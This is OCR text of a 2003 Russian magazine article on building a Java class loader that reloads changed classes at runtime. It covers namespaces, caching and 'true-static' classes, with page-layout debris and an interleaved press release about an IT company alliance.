Наконец, метод findResource должен просто найтифайл, соответствующий данному ресурсу – по тем же пра-вилам, по которым отыскивается файл класса в методеfindClass – и вернуть ссылку на него в виде URL.

Системный загрузчик классов не просто загружаетфайлы классов с диска, но еще и запоминает их во внут-реннем кэше – так что последующие обращения кloadClass для того же имени класса просто выдают го-товый объект Class из кэша. Кэширование, вообще го-воря, представляется разумной идеей: зачем каждыйраз заново обращаться к диску? Мы будем хранить кэшв нестатическом private-поле типа java.util.HashMap на-шего класса DynamicClassOverloader. Таким образом,каждый новый экземпляр нашего загрузчика будет со-здаваться с новым кэшем, и для «забывания» загру-женных ранее классов будет достаточно просто создатьновый экземпляр загрузчика.

Итак, реализация: версия первая.

Проверяем. Пишем тестовый класс TestModule.java,который собираемся загружать нашим загрузчиком:

Page 72: 002 Системный Администратор 01 2003

70

программирование

import java.io.*;public class Test { public static void main(String[] argv) throws Exception { for (;;) { ClassLoader loader= new DynamicClassOverloader(

new String[] {"."});// - текущий каталог "." будет//единственным каталогом поиска

Class clazz= Class.forName("TestModule",true,loader);

Object object= clazz.newInstance(); System.out.println(object); new BufferedReader(new InputStreamReader(

System.in)).readLine(); } }}

java Test

java Имя_класса

Class.forName("Имя_класса",true,loader)

...Class clazz= Class.forName("TestModule",true,loader);TestModule testModule= (TestModule)clazz.newInstance();работаем с полями testModule, вызываем методы и т.д.

public String toString() { return "TestModule, version 1!"; }}

Пишем тест Test.java, который будет загружать этот класс:

Кладем все эти файлы в один каталог, компилируем изапускаем Test:

В каждой итерации бесконечного цикла создается эк-земпляр нашего загрузчика loader, с его помощью загру-жается класс TestModule, создается его экземпляр и рас-печатывается, при этом, как обычно, неявно использует-ся метод toString(), реализованный в TestModule. Затеможидается нажатие на клавиатуре клавиши ENTER (либоCtrl-C для выхода из программы).

Пока наш тест ждет нажатия ENTER, перейдем в дру-гое окно (ОС Windows) или консоль (ОС Unix), чуть-чутьисправим класс TestModule: изменим результат toString()на «TestModule, version 2!» и перекомпилируем его. Пос-ле чего вернемся в наш тест и нажмем ENTER.

Ура! В следующей итерации цикла мы видим резуль-тат работы свежей версии класса TestModule.class – бу-дет напечатана новая строка «TestModule, version 2!».

Мы добились успеха, не выходя из программы, моди-фицировали class-файл, и новая версия класса была ус-пешно загружена.

Класс TestModule можно заменить на любой другойсложный класс, конструктор которого инициирует скольугодно сложную цепочку действий. Все классы, которыев процессе этого будут задействованы, будут точно также динамически перезагружаться.

Первые проблемыНаш тест работает, но возникает законный вопрос – ну ичто? Да, мы можем в определенный момент запустить не-кий класс, заданный своим именем, после чего он будетвыполнять какие-то действия и, в конце концов, вернетстроку «object.toString()». Но это в общем-то ничем прин-ципиально не отличается от запуска новой java-програм-мы стандартным вызовом

Вспомним постановку задачи. У нас есть большая,

очень большая Java-программа, полный перезапуск ко-торой занимает длительное время и крайне нежелателен.Мы хотим иметь возможность в какой-то момент быстроперезагрузить некоторые ФРАГМЕНТЫ программы, что-бы все классы, относящиеся к этим фрагментам, послеэтого момента заново считывались с диска. Вероятнеевсего, эти классы должны активно взаимодействоватьдруг с другом и со стационарной, неперезагружаемойчастью программы. Например, они могут реализовыватьразличные интерфейсы, которыми пользуется стационар-ная часть программы, их экземпляры могут сохранятьсяв различных переменных в стационарной части и т. д.

В терминах нашего загрузчика классов это означает,что мы должны уметь взаимодействовать с классами, заг-руженными вызовом

Мы должны работать с их экземплярами, вызыватьметоды, обращаться к полям, перехватывать исключения,причем по возможности стандартными способами языкаJava. Аналогично классы, загруженные разными экземп-лярами загрузчика, например, отвечающие за слабо свя-занные фрагменты большой программы, которые нужноперезагружать в разные моменты – должны уметь взаи-модействовать друг с другом.

Казалось бы, с этим нет никаких проблем. В тесте мыполучили вызовом newInstance() переменную типа Object.Но если мы знаем, что ее тип – TestModule, мы можемспокойно привести ее к этому типу и работать дальшеобычным образом:

Если бы здесь был обычный вызовClass.forName(«TestModule»), все было бы нормально. Этобыл бы простейший вариант классической схемы постро-ения расширяемых систем. В качестве аргумента forNameмог бы выступать любой наследник TestModule (или класс,реализующий интерфейс TestModule), реализация кото-рого неизвестна и не обязательно доступна в момент ком-пиляции системы. Об этом способе работы с отражения-ми рассказывалось в первой части статьи.

Но с нашим необычным загрузчиком классов нас ждетнеприятная неожиданность. При попытке приведения типабудет возбуждено исключение ClassCastException – ошиб-ка приведения типа!

Новые свойства языка –«динамические» и «истинно-статические»классыКогда я впервые столкнулся с описанной ситуацией, тодолго не мог понять, в чем тут дело. Дальнейшие тестытолько усугубляли недоумение. Вроде бы все сделано пра-вильно, при простейшем использовании работает, но по-стоянно обнаруживаются какие-то странности. В некото-рых случаях, на вид совершенно невинных, вообще воз-

Page 73: 002 Системный Администратор 01 2003

71№1(2), январь 2003

программирование

Class.forName("TestModule",true,loader)

public class TestModule { private static int counter= 0; public String toString() { return "TestModule, version 1! "+(counter++); }}

никало низкоуровневое исключение LinkageError.На самом деле мы только что столкнулись с проявле-

нием достаточно общей проблемы. Чтобы понять ее при-роду, нужно заново внимательно рассмотреть понятиекласса в языке Java.

В мире объектно-ориентированного программирова-ния, в частности в Java, мы привыкли к тому, что суще-ствует два уровня иерархии сущностей – класс и экзем-пляр. Класс с заданным именем в системе всегда один –он однозначно идентифицируется своим полным именем.Экземпляров же у класса может быть много. Так, в Javaполя с квалификатором static принадлежат целому клас-су, каждое такое поле существует в системе в единствен-ном экземпляре. В отличие от этого для обычного (неста-тического) поля отдельная его версия присутствует в каж-дом экземпляре класса.

Создав наш загрузчик DynamicClassOverloader, все-гда загружающий свежие версии class-файлов, мы прин-ципиально изменили ситуацию. Теперь есть три уровняиерархии: сам класс, версия класса – тот байт-код, ко-торый был загружен конкретной версиейDynamicClassOverloader (возможно, меняющийся в про-цессе работы программы) и экземпляры конкретной вер-сии класса.

На самом деле виртуальная машина Java «считает»классом как раз то, что для нас является версией. Хотяэто и неочевидно из документации, но класс в Java одно-значно идентифицируется не только полным именем, ноеще и экземпляром загрузчика, загрузившего этот класс.Каждый экземпляр загрузчика классов порождает соб-ственное пространство имен, внутри которого классы дей-ствительно однозначно идентифицируются полными име-нами, но классы в разных пространствах имен, загружен-ные разными загрузчиками, вполне могут иметь идентич-ные имена.

На самом деле, с точки зрения Java, класс TestModule,возникающий в результате прямого вызова «TestModuletestModule= ...» в тексте файла Test.java, и классTestModule, полученный вызовом

– это два совершенно разных класса. Первый был загру-жен системным загрузчиком (вместе с самым главнымклассом Test), а второй – одним из экземпляров нашегозагрузчика DynamicClassOverloader. По классическим за-конам объектно-ориентированного программированияприведение типов между ними невозможно.

Более того, каждая итерация нашего цикла, оказыва-ется, порождала новую версию класса TestModule, не свя-занную с предыдущими. В этом можно убедиться следу-ющим образом. Модифицируем класс TestModule:

В нормальных условиях каждое новое обращение к

методу toString() такого класса привело бы к получениюстроки с новым, увеличенным на 1 значением счетчикаcounter. Если бы в тесте Test.java был обычный вызовClass.forName(«TestModule»), мы бы это и увидели: накаждой итерации цикла распечатывались бы разные зна-чения счетчика. А с нашим загрузчиком мы все времябудем видеть нулевое значение. Каждое пересозданиеэкземпляра загрузчика DynamicClassOverloader приводитк появлению нового пространства имен, в котором ини-циализируется совершенно новая версия классаTestModule, ничего не знающая о предыдущих версиях ио содержащихся в них статических переменных.

Фактически, мы придали языку Java новое свойство –«динамичность» классов. Теперь, обращаясь прямо иликосвенно к любому классу, придется думать о том, какаяименно версия этого класса будет использована и можноли ее использовать совместно с тем классом, который кней обращается.

Свойство, что и говорить, крайне неудобное. Как жетеперь работать с «динамическими» классами? Ведь всеверсии классов, которыми пользуется наш первый класс,загруженный DynamicClassOverloader, и которые тем са-мым тоже загружены нашим загрузчиком, – все эти вер-сии неизвестны в пространстве имен стационарной час-ти – в нашем случае в главном классе Test.

Решение этой проблемы – заблокировать свойство«динамичности» для некоторых классов, т.е. потребовать,чтобы такие классы наш загрузчик загружал стандарт-ным способом – через вызов «findSystemClass(name)». На-зовем такие классы «истинно-статическими» – «true-static». Такие «true-static»-классы можно будет свободносовместно использовать в стационарной части програм-мы и всех версиях «динамических» классов. Для «true-static»-классов всегда будет существовать только однаверсия, как и предполагается в обычном языке Java, и небудет проблем несоответствия типа. Можно, например,сделать «true-static» все ключевые интерфейсы, основныетипы данных, которые должны получать и возвращать «ди-намические» классы, базовые типы исключений, подле-жащие перехвату и единообразной обработке, и т. п.

В сущности, уже в реализованной нами версии заг-рузчика существовали «true-static»-классы – это библио-течные классы из пакетов типа java.lang, которые мы непытались грузить самостоятельно. Скажем, такими былистандартные типы Object и String. Именно поэтому в пер-воначальном варианте теста мы смогли получить от со-зданного экземпляра динамического класса TestModuleстроку String – результат метода toString().

Можно придумать много соглашений, по которым заг-рузчик должен опознавать «true-static»-классы. Например,можно проверить существование некоторого ключевогоstatic-поля или проверить, не реализован ли в классе не-который специальный пустой интерфейс2. Мы ограничимсянаиболее простым (хотя и не всегда удобным) вариантом:будем проверять, не содержит ли имя класса name це-почки символов «truestatic» без учета регистра символов.

Итак, начинаем модифицировать наш загрузчикDynamicClassOverloader: добавляем в методе findClassсразу перед вызовом

Page 74: 002 Системный Администратор 01 2003

72

программирование

File f= findFile(name.replace('.','/'),".class");

protected Class findClass(String name) throws ClassNotFoundException{ Class result= (Class)classesHash.get(name); if (result!=null) { /*

System.out.println("% Class "+name+" found in cache");/*

return result; } if (name.toLowerCase().indexOf("truestatic")!=-1) return findSystemClass(name);

File f= findFile(name.replace('.','/'),".class"); ...

public class TrueStaticModule { protected static int counter= 0; public int getCounter() { return counter; }}

public class DynamicModule extends TrueStaticModule { public String toString() { return "DynamicModule, version 1! "+(counter++); }}

import java.io.*;public class Test { public static void main(String[] argv) throws Exception { for (;;) { ClassLoader loader= new DynamicClassOverloader(

new String[] {"."});// - текущий каталог "." будет//единственным каталогом поиска

Class clazz= Class.forName("DynamicModule",true,loader);

TrueStaticModule trueStaticModule=(TrueStaticModule) clazz.newInstance();

System.out.println(trueStaticModule.getCounter()); System.out.println(trueStaticModule);

new BufferedReader(new InputStreamReader (System.in)).readLine();

} }}

java Test

дополнительную проверку имени name. Вот начало исход-ного текста нового метода findClass:

Попробуем этим воспользоваться. Создаем «true-static»-класс TrueStaticModule.java:

В нем есть public-метод getCounter(), которым мы соби-раемся пользоваться в стационарной части программы.

Наследуем от него «динамический» классDynamicModule.java:

Наконец, переписываем тест Test.java – «стационар-ную часть» программы:

Компилируем все эти файлы и запускаем:

Все работает нормально. Как и раньше мы можем прямов процессе работы теста модифицировать и перекомпи-лировать класс DynamicModule, и это изменение будет

учтено. Но для «общения» со стационарной частью про-граммы и для хранения счетчика обращений к методуtoString() теперь используется «true-static»-классTrueStaticModule. Поэтому мы не получаем исключенияClassCastException, а счетчик counter корректно увеличи-вается на протяжении всей работы теста.

Поставленную задачу можно считать в принципе ре-шенной.

Чтобы использование нашего загрузчика стало дей-ствительно удобным, стоило бы еще реализовать специ-альный сервисный «true-static»-класс с методом forName,аналогичным стандартному forName. Только в отличие отстандартного, наш forName обращался бы к нашему заг-рузчику, экземпляр которого, внутреннее private-поле,создавался бы при первом обращении к forName. Пара-метры конструктора для нашего загрузчика можно былобы настраивать с помощью специальных полей сервис-ного класса. Кроме того, в нашем сервисном классе былбы специальный метод invalidate, обнуляющий private-полес нашим загрузчиком и вынуждающий метод forName приследующем вызове заново создать загрузчик. Методinvalidate можно было бы вызывать в Java-программе вся-кий раз, когда требуется перезагрузить с диска новыеверсии всех «динамических» классов. Написание подоб-ного сервисного класса – достаточно понятная задача, имы не будем на ней останавливаться.

Правила работы с «динамическими»классамиПри практическом использовании описанного выше заг-рузчика классов программирование в языке Java замет-но усложняется. Нужно помнить о возможной «динамич-ности» классов: каждый экземпляр загрузчика порожда-ет отдельную версию каждого такого класса в собствен-ном пространстве имен. Нужно заботиться о том, чтобынекоторые классы были «true-static». Все это требует чет-кого понимания описанных выше механизмов и достаточ-ной аккуратности.

Я сформулирую ниже несколько правил, которыми сле-дует руководствоваться при программировании в таком,изменившем свое поведение, языке Java.

Будем называть динамической частью Java-програм-мы ту систему «динамических» классов, которая загру-жается некоторым экземпляром нашего загрузчикаDynamicClassOverloader, и стационарной частью – основ-ную систему классов, которая загружает динамическуючасть, используя экземпляры DynamicClassOverloader. Впрограмме может быть и несколько динамических частей,никак не связанных друг с другом, одновременно загру-женных несколькими экземплярами DynamicClass-Overloader. В стационарную часть входят, в частности, все«true-static»-классы.

ПРАВИЛО A. Стационарную часть программы – в час-тности, все «true-static»-классы – следует разрабатыватьтаким образом, чтобы никак не использовать информа-цию о структуре «динамических» классов: имена классов,имена их членов, типы параметров у методов. Иными сло-вами, нельзя прямо ссылаться на конкретные имена «ди-намических» классов и обращаться к ним средствами язы-

Page 75: 002 Системный Администратор 01 2003

73№1(2), январь 2003

программирование

catch (Тип_исключения e)

public static boolean debugMode= false;

Class.forName("TestModule",true,loader)

public class Мой_динамический_класс {

ка Java. Единственным способом взаимодействия стаци-онарной части программы с «динамическими» классамидолжна быть их загрузка вызовом

и использование системы «true-static»-классов (или интер-фейсов), известных и стационарной, и динамической ча-стям. Например, можно обращаться (через приведениетипа) к «true-static»-интерфейсам, которые реализуют «ди-намические» классы, получать результаты методов этихинтерфейсов в виде «true-static»-классов, перехватывать«true-static»-исключения и т. д.

Сформулированное правило вполне логично и «выдер-жано в духе» объектно-ориентированного программиро-вания. «Динамические» классы для того и сделаны «ди-намическими», чтобы их можно было разрабатывать икомпилировать уже после того, как стационарная частьпрограммы скомпилирована и запущена. Поэтому стаци-онарная часть и не должна ничего «знать» об этих клас-сах кроме того, что они, возможно, реализуют какие-тозаранее известные «true-static»-интерфейсы или, скажем,как-то работают со static-полями заранее известных «true-static»-классов.

В первом нашем тесте, вызвавшем ошибку приведе-ния типа, мы нарушили это правило. При приведении типамы непосредственно сослались из стационарной частипрограммы на имя «динамического» класса TestModule.В правильном решении, которое мы привели позже, мыпреобразовывали полученный объект неизвестного нам«динамического» типа к типу «true-static»-классаTrueStaticModule – предка «динамического» класса.

Заметим, сформулированное правило не является ка-тегорическим. Его вполне можно нарушать, т.е. прямо ссы-латься из стационарной части на «динамические» клас-сы. Просто следует помнить, что классы, которые будутпри этом задействованы, и классы с теми же именами, ккоторым будет обращаться динамическая часть програм-мы, – это совершенно разные классы, лежащие в разныхпространствах имен.

Например, и стационарная, и динамическая части про-граммы могут активно пользоваться некоторыми сервис-ными библиотеками, и эти библиотеки нет никакой необ-ходимости делать «true-static». Они вполне могут быть«динамическими». Если мы изменим реализацию неко-торого метода в таком классе-библиотеке и перекомпи-лируем этот класс, то стационарная часть этого «не за-метит» и будет продолжать работать со своей старой вер-сией библиотеки, а динамическая часть, после очередно-го пересоздания экземпляра загрузчика, воспользуетсяновой версией.

Из общего правила A можно выделить несколько бо-лее простых частных правил.

ПРАВИЛО A1. Не следует ссылаться из стационарнойчасти программы (в частности, «true-static»-класса) накакие-либо поля, конструкторы или методы «динамичес-кого» класса. Точнее, следует иметь в виду, что такаяссылка означает обращение к версии «динамического»класса, загруженной системным загрузчиком по умолча-

нию, а никак не к версии, загруженной нашим загрузчи-ком DynamicClassOverloader.

ПРАВИЛО A2. Все аргументы и результат любого ме-тода в «true-static»-классе, используемого для связи междустационарной и динамической частями программы, напри-мер, метода «true-static»-интерфейса, который реализу-ют конкретные «динамические» классы, – должны иметьлибо примитивный тип, либо тип «true-static»-класс. То жесамое относится к public-полям, используемым с анало-гичными целями. (К «true-static»-классам мы относим так-же все стандартные системные классы, вродеjava.lang.String или java.io.File, которые наш загрузчик непытается грузить самостоятельно.)

ПРАВИЛО A3. Если «динамические» классы возбуж-дают какие-либо исключения, которые, возможно, потре-буется перехватить оператором

в стационарной части программы, то перехватываемыйкласс Тип_исключения должен быть «true-static».

Следующее общее правило:ПРАВИЛО B. Нужно учитывать, что каждый экземп-

ляр загрузчика порождает независимое пространствоимен. Любая ссылка на «динамический» класс: на его кон-структоры, методы, статические или обычные поля дей-ствует только в пределах текущего пространства имен ине относится к версиям того же класса, загруженным дру-гими экземплярами загрузчика.

Вот частные следствия из этого правила:ПРАВИЛО B1. Не следует думать, что статические поля

«динамического» класса существуют в системе в един-ственном экземпляре. В каждом пространстве имен су-ществует отдельная версия класса со своим набором ста-тических полей.

Например, есть такая практика управления поведениемJava-класса. Объявляется статическое public-поле, скажем,

влияющее на работу некоторых методов класса. Обычноиспользуется значение этого поля по умолчанию. Но прижелании главный класс Java-приложения на этапе общейинициализации системы и загрузки конфигурационныхфайлов может записать в это поле другое значение.

С «динамическими» классами такой прием «не прохо-дит». Главный класс в стационарной части может повли-ять на значение static-поля только для одной версии «ди-намического» класса, загруженной системным загрузчи-ком. Все последующие версии, загруженные экземпляра-ми DynamicClassOverloader, получат умолчательное, за-ново инициализированное значение этого static-поля.

Если «динамический» класс действительно нуждает-ся в наборе истинно глобальных полей, разделяемых все-ми своими версиями, то самое естественное решение –определить внутри этого класса локальный «true-static»-класс. Например:

Page 76: 002 Системный Администратор 01 2003

74

программирование

static { System.loadLibrary("Имя_внешнего_модуля");}

Class result= (Class)classesHash.get(name);if (result!=null) {...

public static class TrueStaticSection { public static boolean debugMode= false; другие глобальные переменные } ...}

ПРАВИЛО B2. Если «динамический» класс нуждаетсяв доступе к некоторым полям, методам, конструкторамили локальным классам некоторого «true-static»-класса,то все эти члены «true-static»-класса обязаны быть public,даже если «динамический» и «true-static»-класс лежат водном пакете или внутри одного java-файла. Исключение:если «динамический» класс наследует «true-static», то он,как обычно, имеет доступ к protected-членам «true-static»-класса.

Например, если в «динамический» класс вложен ло-кальный «true-static»-класс, то «динамический» класс, воп-реки обычной практике, не может пользоваться private-полями или полями с дружественным доступом вложен-ного класса.

Дело в том, что с точки зрения виртуальной машиныJava-классы, загруженные разными загрузчиками и по-этому лежащие в разных пространствах имен, всегда име-ют друг с другом столь же слабую связь, как и классы,лежащие в разных пакетах. «Дружественный» доступ илидоступ к private-членам вложенного класса между разны-ми пространствами имен «не работает».

Будьте внимательны: подобная ошибка (разумеется)не отслеживается компилятором Java и обнаруживаетсяв виде системного исключения уже при выполнении про-граммы.

Есть еще одно специфическое правило, не вытекаю-щее из описанных выше общих принципов.

ПРАВИЛО C. Если некоторые методы класса являют-ся native – эти методы реализованы в отдельном машин-но-зависимом модуле, загружаемом методомSystem.loadLibrary в секции статической инициализациикласса, то такой класс обязан быть «true-static».

Это – внутреннее свойство современной версии Java-машины, по крайней мере, для платформы Windows. Java-машина не допускает повторной загрузки внешнего мо-дуля вызовом loadLibrary с тем же самым именем – такаяпопытка вызывает исключение. Для «динамических» клас-сов инициализация происходит многократно в каждойверсии класса. Если в «динамическом» классе попытать-ся в соответствии с документацией обратиться кSystem.loadLibrary в секции статической инициализации:

то уже вторая загрузка такого класса нашим загрузчикомвозбудит внутреннее исключение с сообщением: «данныйвнешний модуль уже загружен другим загрузчиком клас-сов».

Не обесценивают ли описанные сложности новогоудобства – возможности «на лету» перекомпилировать иперезагружать классы? Я считаю, что нет – при условииграмотного проектирования системы в целом. На самомделе, описанные выше правила касаются только разра-

ботки сравнительно небольшого блока: стандартизован-ного интерфейса между стационарной и динамической ча-стью. При разработке остальных блоков стационарнойчасти, не работающих с «динамическими» классами, всеописанные нюансы несущественны: стационарная частьзагружается системным загрузчиком по обычным прави-лам. При разработке динамических частей программы,расширяющих ее функциональность, возможно, сторон-ними разработчиками, все эти правила, за исключениемочень простого правила C, обычно также можно спокой-но игнорировать. Все правила, за исключением C, отно-сятся к доступу к «динамическим» классам из стационар-ной части и к работе с различными пространствами имен,но никак не затрагивают разработку системы «динами-ческих» классов в пределах одного пространства имен.Поэтому все новые классы, разрабатываемые для рас-ширения динамической части программы при уже выра-ботанном протоколе общения со стационарной частью, по-чти всегда можно объявлять «динамическими» и спокой-но разрабатывать по обычным правилам языка Java.

Странности кэширования:различие loadClass и forNameЗдесь мне хотелось бы ненадолго вернуться назад к на-шей реализации DynamicClassOverloader. В приведеннойвыше реализации есть две закомментированные строкис вызовом System.out.println, позволяющим увидеть мо-мент загрузки класса и извлечение его из кэша.

Если их раскомментировать, можно увидеть удивитель-ную вещь. Когда я воспользовался таким загрузчиком дляисполнения большого проекта на Java, включающим тыся-чи различных классов и реализующим интенсивные вычис-ления, я обнаружил, что проверка наличия класса в кэше

не срабатывает никогда!Я пробовал повторно обращаться к загруженным

классам всеми возможными способами: прямым обра-щением к классу, через Class.forName с различныминаборами параметров, путем наследования, перехватаисключений и т. д. Во всех случаях, кроме прямого об-ращения к методу нашего загрузчика loadClass, до ис-полнения наших методов loadClass и findClass дело про-сто не доходило. Очевидно, Java-машина реализует до-полнительное кэширование загруженных классов. Покамы явно не подаем указание использовать другой эк-земпляр загрузчика с помощью соответствующего ар-гумента метода Class.forName. Все классы, уже загру-женные один раз нашим загрузчиком, автоматическиизвлекаются из какого-то внутреннего кэша. Фактичес-ки наше кэширование, реализованное вDynamicClassOverloader, оказалось ненужным – клас-сы и так прекрасно кэшируются.

Я не знаю, насколько можно полагаться на эту особен-ность Java-машины. Документация к классу ClassLoaderрекомендует использовать вызов protected-методаfindLoadedClass для выяснения, был ли уже загружен дан-

Page 77: 002 Системный Администратор 01 2003

75№1(2), январь 2003

программирование

loader.loadClass("Имя_класса")

Class.forName("Имя_класса",true,loader)

Class.forName("Имя_класса",false,loader)

Class.forName("Имя_класса",true,loader)

loader.loadClass("Имя_класса")

loader.loadClass("Имя_класса")loader.loadClass("Имя_класса")

Class.forName("Имя_класса",true,loader)

public void invalidate() { classesHash.clear();}

Class.forName("Имя_класса",true,loader)

loader.loadClass("Имя_класса")

ный класс. Но в моих тестах мне не удавалось этим вос-пользоваться – этот метод всегда возвращал null.

Я все же считаю реализацию собственного кэша «навсякий случай» целесообразным, тем более что это тре-бует всего нескольких строк кода. Кроме того, собствен-ный кэш необходим, если при использовании нашего заг-рузчика классов предполагается пользоваться вместоклассического вызова

альтернативным вариантом

Здесь метод loadClass вызывается напрямую – и здесьуже никто кроме нас не позаботится о кэшировании од-нажды загруженных классов. (В отличие от этого вызовClass.forName всегда обращается к внутреннему кэшу, и,если для данного загрузчика loader класс name уже од-нажды загружался, он будет найден и возвращен в ре-зультате forName без обращения к loadClass и findClass.)

Хуже того, если мы не будем реализовывать кэширо-вание в загрузчике, т.е. будем в любом случае читать классс диска и вызывать для него метод defineClass. В этомслучае два последовательных вызова

для одинакового класса приведут к низкоуровневому ис-ключению LinkageError! Виртуальная машина не разреша-ет в рамках одного и того же экземпляра загрузчика дваж-ды определять один и тот же класс, т.е. обращаться к ме-тоду defineClass. С вызовом

такую проблему пронаблюдать не удастся, даже если мыне будем реализовывать кэш.

Описанное поведение, как мне кажется, является вес-ким аргументом, чтобы по возможности никогда, за ис-ключением тестов, не использовать прямой вызов

отдавая предпочтение вызову

или

У внимательного читателя при изучении нашего заг-рузчика DynamicClassOverloader мог возникнуть вопрос.Если наша цель – научить загрузчик «забывать» старыеверсии классов, почему мы попросту не реализовали вклассе DynamicClassOverloader метод invalidate:

очищающий наш кэш classesHash? Почему вместо этого

мы пошли по более сложному пути: созданию новых эк-земпляров загрузчика?

Теперь мы можем ответить на этот вопрос. При исполь-зовании вызова

метод invalidate, очищающий classesHash, просто не далбы никакого эффекта. Виртуальная машина все равноизвлекала бы класс из внутреннего кэша, пока мы не сме-нили бы экземпляр loader используемого загрузчика. Апри использовании прямого вызова

метод invalidate, вместо ожидаемого «забывания» старыхклассов, привел бы к низкоуровневому исключениюLinkageError.

Применения DynamicClassOverloaderПриведем несколько примеров ситуаций, где можно при-менить созданный нами загрузчик DynamicClassOverloaderпомимо решения поставленной нами главной задачи –загрузки измененных версий классов «на лету» без оста-новки основной программы.

Прежде всего напрашивается простейшее примене-ние: профайлинг загрузки классов. С помощью парамет-ра «-verbose:class» стандартной утилиты «java» можнопроследить, какие классы загружаются в процессе рабо-ты. Но собственный загрузчик может сделать намногобольше. Очень легко дополнить приведенный выше ис-ходный код DynamicClassOverloader сбором любой стати-стики о загружаемых файлах: сколько классов различныхпакетов загружается, сколько времени расходуется назагрузку классов, какие классы загружаются обычно впервую очередь и т. д.

DynamicClassOverloader можно использовать для заг-рузки классов из нестандартного каталога, не указанно-го в переменной CLASSPATH. Это требуется не так уж ча-сто, но в некоторых ситуациях без этого сложно обойтись.Например, предположим, что вы пишете систему обра-ботки документов, к которым могут прилагаться специ-альные Java-классы: как апплеты в Web-страницах илискрипты в документах Microsoft Word. Пользователь мо-жет работать с любым числом таких документов, распо-ложенных где угодно в пределах своей файловой систе-мы. Очевидно, для загрузки и исполнения таких классов,сопутствующих документу, стандартный набор путей изCLASSPATH окажется недостаточным.

Наконец, отдельные пространства имен, порождаемыеэкземплярами нашего загрузчика, из неудобного недо-статка могут превратиться в ключевое достоинство. Обыч-но разработчики Java-классов избегают конфликтов именсвоих классов благодаря стандартной системе именова-ния пакетов, когда в имя пакета включается серия вло-женных доменов Internet, соответствующих уникальномуWeb-сайту разработчика. Но если Java применяется в уп-рощенном виде – скажем, для реализации небольшихскриптов конечными пользователями продукта – такая

Page 78: 002 Системный Администратор 01 2003

76

программирование

����������

схема именования может оказаться чересчур обремени-тельной. (Те же апплеты редко размещают в пакете. Час-то пакет вообще не указывается, т.е. используется корне-вой package.) Наш загрузчик позволяет надежно изоли-ровать друг от друга подобные простые классы, не нуж-дающиеся во взаимодействии друг с другом и разрабо-танные, возможно, разными разработчиками. Если двакласса загружены разными экземплярамиDynamicClassOverloader, они могут спокойно иметь иден-тичное имя. Они «живут» в разных пространствах имен ине могут ничего «знать» друг о друге.

ЗаключениеРеализовав собственный загрузчик классов, мы действи-тельно всерьез познакомились с миром отражений Java имного узнали о «внутренней кухне» виртуальной Java-ма-шины. Конечно, это далеко не все.

Я не пытался написать исчерпывающее руководство.Я постарался предложить краткую экскурсию, позволяю-

щую познакомиться с основными понятиями, технология-ми и проблемами мира отражений Java и, я надеюсь, по-зволяющую почувствовать изящество и мощь этого чу-десного языка. С помощью всего лишь около сотни строкисходного текста Java мы создали инструмент, позволив-ший существенно «подправить» поведение Java-машиныи изменивший свойства самого языка Java.

В следующих номерах журнала я расскажу, как внут-ри вашей программы компилировать исходный Java-кодв .class-файлы. Вместе с собственным загрузчиком клас-сов, описанным в этой статье, это сможет послужить ос-новой для создания систем, позволяющих конечномупользователю программировать на Java вплоть до созда-ния настоящих систем Java-разработки.

1 Это утверждение не совсем точное. На самом деле,вначале загружается целый ряд системных классов, вчастности, системный загрузчик и все используемыеими классы. Процесс загрузки классов легко просле-

Создание альянса независимых IT-компаний 21 ноября 2002 года три известные в своих областях IT рынка российские компании: InPrice, Zero Studio и Positive

Technologies официально объявили о начале формирования стратегического альянса, основной целью которого яв-ляется эффективное и скоординированное продвижение комплексных решений на основе продуктов компаний-учас-тников на рынок корпоративных потребителей.

В настоящий момент выбрано имя будущего совместного предприятия – IT Alliance. Данное название представля-ется наиболее логичным и отражающим суть взаимодействия между участниками новой формации.

Настоящий альянс будет носить конфедеративный характер, являясь объединением независимых компаний, ра-нее являвшихся постоянными бизнес-партнёрами, связанными в ходе осуществления ряда совместных проектов.Успешный опыт проведения таких совместных проектов выявил необходимость более тесного и скоординированногосотрудничества между компаниями.

Компании-участники полагают, что на рынке наиболее востребованными являются сбалансированные комплекс-ные решения, предлагаемые корпоративным клиентам как единое целое.

«Именно сбалансированные, всесторонне взвешенные решения от профессионалов позволят предложить каждо-му клиенту именно то, что ему необходимо», – заявляют участники альянса.

Одним из главных объединяющих факторов формирующегося альянса является отсутствие конкурентных пересече-ний компаний в их областях деятельности и возможность кросс-привлечения клиентов. Каждый из участников являетсяопытным профессионалом в своей области и будет отвечать за свой участок работ в общем проекте, исполняемом ITAlliance. Так, например, в случае поступления заказа от корпоративного клиента на комплексную автоматизацию пред-приятия, каждый участник альянса будет отвечать строго за свою область, не пересекаясь с другими: Группа компанийInPrice осуществит сборку компьютеров и поставку необходимого оборудования, Zero Studio сделает полноценное web-решение, его интеграционное подразделение построит локальную сеть предприятия, а компания Positive Technologiesосуществит реализацию проекта по защите сети и web-ресурсов компании от несанкционированного доступа.

Большой позитивный опыт и накопленный профессионализм каждого из участников альянса, сформировавшиесяторговые марки, заслужившие доверие, послужат залогом успешного продвижения услуг предоставляемых IT Allianceи позволит привлечь новых корпоративных клиентов.

Успешное развитие каждой компании – залог дальнейшего плодотворного развития новой структуры, а объеди-нение клиентских баз в единую базу позволит существенно расширить присутствие компаний на рынке корпоратив-ных решений.

Подробности о новом альянсе и его совместных проектах будут объявлены на специальной пресс-конференции,которая будет проведена в первом квартале 2003 года.

Page 79: 002 Системный Администратор 01 2003

77№1(2), январь 2003

программирование

��������� � � � � � � � �

result= defineClass(name,classBytes,0,classBytes.length)

TrueStatic.class.isAssignableFrom(result)

дить, запустив утилиту «java» с ключом «-verbose:class».2 Что касается проверки интерфейса – это традици-

онное решение, но в данной ситуации реализовать еготруднее чем обычно. Не так просто, построив класс –объект Class – вызовом

выяснить, не является ли он наследником данного интер-фейса, скажем, TrueStatic. Простая проверка вроде

не сработает – ведь интерфейс TrueStatic и класс result,скорее всего, загружены разными загрузчиками и ле-жат в разных пространствах имен. Одно из допустимыхрешений – получить список интерфейсов, реализуемыхresult, вызовом «result.getInterfaces()» и затем проверитьих имена.

Компании – участники IT Alliance:Zero Studio – компания «Интернет Студия ЗЕРО» специализируется в области созда-ния и поддержки интернет-проектов высокого уровня сложности. С 1998 года и понастоящее время студия выполнила более 100 работ в области дизайна, программи-рования, создания интерактивных презентаций, изготовления рекламных материа-

лов и т. д. Zero Studio сегодня – это дизайн, собственные технологии создания и поддержки интернет-проектов иинтерактивных систем любой сложности, собственная хостинговая площадка в Data Центре компании Cable&Wireless,системная интеграция и комплексная поддержка компьютерных систем клиентов.

